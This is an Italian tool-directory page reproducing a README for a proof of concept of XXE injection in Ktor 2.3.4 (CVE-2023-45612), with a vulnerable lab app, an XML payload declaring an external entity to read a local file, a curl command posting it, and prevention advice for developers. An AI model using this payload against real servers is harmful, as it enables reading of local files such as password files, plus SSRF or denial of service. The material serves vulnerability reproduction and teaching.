Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ktor-cve-2023-45612-poc — Prova di concetto dell'iniezione XXE in Ktor (CVE-2023-45612) | Kitploit
Strumenti/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebConfigurazione ErrataApprendimento e Formazione
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

Prova di concetto dell'iniezione XXE in Ktor (CVE-2023-45612)

Vedi Repository
1310 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Prova di concetto della vulnerabilità XXE in Ktor (CVE-2023-45612)

Sommario

Impatto: accesso arbitrario ai file tramite un DTD XML appositamente predisposto con un riferimento XXE.
Causa principale: parser di documenti XML non sicuro.

Questa repository contiene un'applicazione Ktor 2.3.4 vulnerabile, configurata per consentire entità esterne così che l'effetto XXE sia visibile.

Descrizione

Applicazione Ktor vulnerabile (v2.3.4) per la prova di concetto dell'iniezione di entità esterne XML (CVE-2023-45612).

CVE-2023-45612 è un bug XXE (entità esterna XML) in ContentNegotiation di Ktor quando XML è abilitato nelle versioni precedenti alla 2.3.5.
Questa vulnerabilità corrisponde a CWE-611: Restrizione impropria del riferimento a entità esterna XML.
XXE fa parte della categoria di rischio OWASP Top 10 A05:2021-Security Misconfiguration, ma è anche un problema di progettazione non sicura, poiché la causa è un parser XML non restrittivo.

Segnalata da Ulf Karlsson — vedi note sulla sicurezza JetBrains.

Componenti e versioni interessate

Versioni di Ktor precedenti alla 2.3.5

Ambiente di riproduzione

Questo è il mio ambiente per riprodurre il problema:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • OS: Windows 10

XXE spiegato

I documenti XML possono opzionalmente contenere una Document Type Definition (DTD) che, tra le altre funzionalità, consente la definizione di entità XML. È possibile definire un'entità fornendo una stringa di sostituzione sotto forma di URI. Il parser XML può accedere al contenuto di questo URI e incorporarlo nuovamente nel documento XML per ulteriori elaborazioni. Inviando un file XML che definisce un'entità esterna con un URI file://, un attaccante può indurre l'applicazione in elaborazione a leggere il contenuto di un file locale.
Ad esempio, un URI come "file:///c:/winnt/win.ini" designa (su Windows) il file C:\Winnt\win.ini, oppure file:///etc/passwd designa il file delle password nei sistemi basati su Unix.
(https://cwe.mitre.org/data/definitions/611.html)

Come funziona

Una richiesta POST viene effettuata all'endpoint http://localhost:8080/xml.
La richiesta invia un file xml, exploit/payloads/xxe-demo-file.xml, contenente un elemento <!DOCTYPE> in cui viene referenziata un'entità esterna, in questo caso exploit/etc/secret.txt.

Potenzialmente potrebbe essere qualsiasi altro file sul sistema a cui il processo ha accesso.

xxe-demo-file.xml

root@kitploit:~
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

Il parser XML (configurato per consentire le DTD) risolve questo elemento e recupera i dati della risorsa.

Il riferimento esterno potrebbe anche essere un percorso verso un endpoint SSRF, oppure puntare a un file di grandi dimensioni per occupare le risorse di sistema (DOS).

Passaggi per la riproduzione

  1. Avvia il server:
root@kitploit:~
./gradlew run
  1. L'output dovrebbe essere:
root@kitploit:~
Responding at http://127.0.0.1:8080
  1. Invia il payload XXE usando curl:
root@kitploit:~
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

Risultato atteso (vulnerabile):

L'output della console: Received: <external entity data>

Risultato atteso (sicuro):

400 Bad Request, o simile (il parser XML blocca la Document Type Definition)

Evidenza

Esegui il comando:

Esegui il comando dell'app

Invia il payload XXE usando cURL e il risultato che mostra il contenuto del file iniettato:

Esegui il comando dell'app

Gravità

La gravità è alta/critica. Potenziale recupero di file locali, attacco SSRF, attacco DoS, o altri impatti sul sistema.
Punteggio base NVD: 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

Linee guida di prevenzione (bozza) per sviluppatori

  • Configurare il parser XML in modo che non risolva entità esterne. Se le entità esterne sono necessarie, implementare un XmlResolver personalizzato con un timeout delle richieste, un limite al recupero dei dati e restrizioni sulle risorse che può recuperare localmente.
  • Usare risorse come la cheat sheet per la prevenzione XXE di OWASP, che copre l'implementazione della prevenzione XXE, specificamente per varie tecnologie.
  • Integrare SAST nella CI, poiché può individuare alcune istanze di questa debolezza analizzando il codice sorgente.
  • Tracciare e analizzare versioni delle dipendenze e vulnerabilità.
  • Implementare standard di codifica sicura a livello aziendale.
  • Sottolineare l'integrazione della sicurezza lungo tutto il SDLC, soprattutto nelle fasi di progettazione e test degli sviluppatori.

Riferimenti

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
Scarica lo strumento